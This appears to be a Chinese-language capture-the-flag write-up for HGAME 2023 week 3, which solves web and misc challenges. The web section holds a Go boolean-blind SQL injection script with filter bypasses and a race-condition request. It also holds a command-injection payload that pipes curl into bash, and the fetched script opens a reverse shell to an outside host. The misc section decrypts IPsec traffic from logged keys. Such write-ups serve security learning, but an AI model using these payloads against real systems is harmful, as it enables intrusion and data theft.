web

Gopher Shop

yakit

```
GET /api/v1/user/sellProduct?number=1&product=Apple HTTP/1.1
Host: week-3.hgame.lwsec.cn:32251
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie:
session=MTY3NDQ3NzcxMHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQW9BQ0hWelpYSnVZVzFsQm5OMGNtbHVad3dE
QUFFeHw3e8GMPA2RMF7d7OYnVwX5tglB28KnBXbNmaNLvBtleg==
Referer: http://week-3.hgame.lwsec.cn:32251/shop
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.61

{{repeat(5)}}
```

条件竞争使库存下溢获得超大库存量

```
if !i.status {
    sum[i.Product] -= i.Number
}else{
    // ...
}
```

Login To Get My Gift

sql注入

测试了一下username在password前面，password参数不用管了会被注释掉的

or，sleep，if没被过滤

and没法用，不过&&可以用，决定使用布尔盲注

=，like，rlike被过滤了regexp没过滤

库名L0g1NMe

表名User1nf0mAt1on

列名id.usern4me.passw0rd

账号hgame2023happynewyear

密码welc0met0hgame2023happySql

输入账号密码返回的是Success!,但是并没有登录也没拿到session

得区分大小写

改一下payload，substr被过滤了，

得加个ord(right(str,n))

hgAmE2023HAppYnEwyEAr

WeLc0meT0hgAmE2023hAPPySql

```
package main

import (
    "bytes"
    "fmt"
    "io"
    "net/http"
    "net/url"
    "strconv"
    "strings"
)

// const want = "database()"
// const want = "
(select(group_concat(table_name))From(information_schema.tables)Where(table_schema/*1*/regexp/*1*/'0'))"

//const want = "
(select(group_concat(column_name))From(information_schema.COLUMNS)Where(table_name/*1*/regexp/*1*/'1..0'))"

const want = "(select(group_concat(usern4me,passw0rd))From(User1nf0mAt1on))"

// const want = "(select(group_concat(usern4me))From(User1nf0mAt1on))"

// const want = "(select(group_concat(schema_name))From(information_schema.schemata))"

var length int

var possible = `abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_.`

func GenPayload(res string, index int) string {
    //res := prefix + possible[index:index+1]
    u := url.Values{}
    u.Set("username",
"testuser'/*1*/&&/*1*/if(ord(right("+want+","+strconv.Itoa(index+1)+"))/*1*/regexp/*1*/'^"+res+"',1,0);#")
    return u.Encode()
}

func newPost(payload io.Reader) *http.Request {
    req, _ := http.NewRequest("POST", "http://week-3.hgame.lwsec.cn:30207/login", payload)
    req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
    return req
}

func main() {
    length = 100
    fmt.Println("possible:", possible)
    var known string
    for i := 0; i < length; i++ {
        for j := 32; j < 127; j++ {
            resp, _ := http.DefaultClient.Do(newPost(strings.NewReader(GenPayload(strconv.Itoa(j), i))))
            body, _ := io.ReadAll(resp.Body)
            if bytes.Contains(body, []byte("Success!")) {
                known = string([]byte{byte(j)}) + known
                fmt.Println("[+] ", known)
                break
            }
        }
```

```
        if len(known) ≠ i+1 {
            fmt.Println("[-] Failed")
            break
        }
    }
}
```

Ping To The Host

payload

```
ip=|curl${IFS}-sSL${IFS}https://baimeow.cn/a.a${IFS}|${IFS}bas``h
```

```
#file:a.a
#! /bin/bash
bash -i >& /dev/tcp/baimeow.cn/25002<&1
```

mics

Tunnel

```
baimeow@LAPTOP-BAIMEOW:~/desktop$ strings tunnel.pcapng | grep hgame
hgame{ikev1_may_not_safe_aw987rtgh}
hgame{ikev1_may_not_safe_aw987rtgh}
hgame{ikev1_may_not_safe_aw987rtgh}
hgame{ikev1_may_not_safe_aw987rtgh}
```

Tunnel Revange

上一道题flag说了，是IKEv1，确认了一下确实是

后面送了一个文件，提出来叫charon.scap

`sysdig -r charon.scap > charon.log`

提点可读的出来

根据How to decrypt IPSec Packets (ISAKMP and ESP) - Wireshark | GoLinuxCloud

获取到

SPI: `0x620270aca82ca7ad`

encryption key: `0x99ef15ac696a5cc9442e8a8a54038674`

填写入wireshark首选项，解密ISAKMP包

网络流量里就一个ESP包，需要解密这个包

从之前解密的ISAKMP的几个包里获取到一些信息

SPI: `0xcefea138`

加密: aes128

签名: hmac-sha

拿这些信息继续在log里找其他信息

加密：AES_CBC_128

签名：HMAC_SHA1_96

log实在太长了，直接搜索匹配的也很多，需要先定位大概范围

根据SPI定位到16处，其中有一处很可疑

```
207164 01:06:05.708356800 0 charon (1179) > sendto fd=5(<u>ffff8ed1221f1400→ffff8ed12260fc00 /dev/log)
size=90 tuple=NULL
207165 01:06:05.708357472 0 charon (1179) < sendto syslog sev=info msg=Jan 24 01:06:05 charon: 13[CHD]
encryption initiator key ⟹ 16 bytes @ 0x7f86d0002750

207166 01:06:05.708358554 0 charon (1179) > sendto fd=5(<u>ffff8ed1221f1400→ffff8ed12260fc00 /dev/log)
size=108 tuple=NULL
207167 01:06:05.708359206 0 charon (1179) < sendto syslog sev=info msg=Jan 24 01:06:05 charon: 13[CHD]    0:
86 1C 6A AC 7A C8 CC A9 FD 5A EC 0A 2C 14 0B 77  ..j.z....Z..,..w

207168 01:06:05.708360909 0 charon (1179) > sendto fd=5(<u>ffff8ed1221f1400→ffff8ed12260fc00 /dev/log)
size=90 tuple=NULL
207169 01:06:05.708361571 0 charon (1179) < sendto syslog sev=info msg=Jan 24 01:06:05 charon: 13[CHD]
encryption responder key ⟹ 16 bytes @ 0x7f86d0002e20

207170 01:06:05.708362593 0 charon (1179) > sendto fd=5(<u>ffff8ed1221f1400→ffff8ed12260fc00 /dev/log)
size=108 tuple=NULL
207171 01:06:05.708363185 0 charon (1179) < sendto syslog sev=info msg=Jan 24 01:06:05 charon: 13[CHD]    0:
C2 A6 38 0A 10 4C 87 C1 99 93 14 0D A5 97 45 1F  ..8..L........E.

207172 01:06:05.708364999 0 charon (1179) > sendto fd=5(<u>ffff8ed1221f1400→ffff8ed12260fc00 /dev/log)
size=89 tuple=NULL
207173 01:06:05.708365660 0 charon (1179) < sendto syslog sev=info msg=Jan 24 01:06:05 charon: 13[CHD]
integrity initiator key ⟹ 20 bytes @ 0x7f86d0002d20

207174 01:06:05.708366703 0 charon (1179) > sendto fd=5(<u>ffff8ed1221f1400→ffff8ed12260fc00 /dev/log)
size=108 tuple=NULL
207175 01:06:05.708367344 0 charon (1179) < sendto syslog sev=info msg=Jan 24 01:06:05 charon: 13[CHD]    0:
20 31 7D CB 96 4A 34 CC 2F 95 52 BD 51 4A 93 EA   1}..J4./.R.QJ..

207176 01:06:05.708368367 0 charon (1179) > sendto fd=5(<u>ffff8ed1221f1400→ffff8ed12260fc00 /dev/log)
size=96 tuple=NULL
207177 01:06:05.708368918 0 charon (1179) < sendto syslog sev=info msg=Jan 24 01:06:05 charon: 13[CHD]   16:
17 F5 CE 68                                      ...h

207178 01:06:05.708370752 0 charon (1179) > sendto fd=5(<u>ffff8ed1221f1400→ffff8ed12260fc00 /dev/log)
size=89 tuple=NULL
207179 01:06:05.708371374 0 charon (1179) < sendto syslog sev=info msg=Jan 24 01:06:05 charon: 13[CHD]
integrity responder key ⟹ 20 bytes @ 0x7f86d0002e40

207180 01:06:05.708372406 0 charon (1179) > sendto fd=5(<u>ffff8ed1221f1400→ffff8ed12260fc00 /dev/log)
size=108 tuple=NULL
207181 01:06:05.708372967 0 charon (1179) < sendto syslog sev=info msg=Jan 24 01:06:05 charon: 13[CHD]    0:
37 D1 43 12 55 CC E7 A6 A5 3C 8E 1C 11 3C 3E C0  7.C.U....<...<>.

207182 01:06:05.708373969 0 charon (1179) > sendto fd=5(<u>ffff8ed1221f1400→ffff8ed12260fc00 /dev/log)
size=96 tuple=NULL
207183 01:06:05.708374531 0 charon (1179) < sendto syslog sev=info msg=Jan 24 01:06:05 charon: 13[CHD]   16:
45 00 72 87                                        E.r.

207184 01:06:05.708376936 0 charon (1179) > sendto fd=5(<u>ffff8ed1221f1400→ffff8ed12260fc00 /dev/log)
size=58 tuple=NULL
207185 01:06:05.708377708 0 charon (1179) < sendto syslog sev=info msg=Jan 24 01:06:05 charon: 13[CHD]
adding inbound ESP SA
```

```
207186 01:06:05.708381046 0 charon (1179) > sendto fd=5(<u>ffff8ed1221f1400→ffff8ed12260fc00 /dev/log)
size=94 tuple=NULL
207187 01:06:05.708381657 0 charon (1179) < sendto syslog sev=info msg=Jan 24 01:06:05 charon: 13[CHD]   SPI
0xcefea138, src 192.168.138.128 dst 192.168.138.132

207188 01:06:05.708388643 0 charon (1179) > sendto fd=5(<u>ffff8ed1221f1400→ffff8ed12260fc00 /dev/log)
size=85 tuple=NULL
207189 01:06:05.708389676 0 charon (1179) < sendto syslog sev=info msg=Jan 24 01:06:05 charon: 13[KNL]
adding SAD entry with SPI cefea138 and reqid {1}

207190 01:06:05.708393083 0 charon (1179) > sendto fd=5(<u>ffff8ed1221f1400→ffff8ed12260fc00 /dev/log)
size=91 tuple=NULL
207191 01:06:05.708393775 0 charon (1179) < sendto syslog sev=info msg=Jan 24 01:06:05 charon: 13[KNL]
using encryption algorithm AES_CBC with key size 128

207192 01:06:05.708396000 0 charon (1179) > sendto fd=5(<u>ffff8ed1221f1400→ffff8ed12260fc00 /dev/log)
size=95 tuple=NULL
207193 01:06:05.708396792 0 charon (1179) < sendto syslog sev=info msg=Jan 24 01:06:05 charon: 13[KNL]
using integrity algorithm HMAC_SHA1_96 with key size 160
```

根据密钥长度进行合理猜测

猜测解密密钥为encryption responder key，即C2 A6 38 0A 10 4C 87 C1 99 93 14 0D A5 97 45 1F

猜测验签密钥为integrity responder key，即37 D1 43 12 55 CC E7 A6 A5 3C 8E 1C 11 3C 3E C0 45 00 72 87

填入wireshark成功解密，得到flag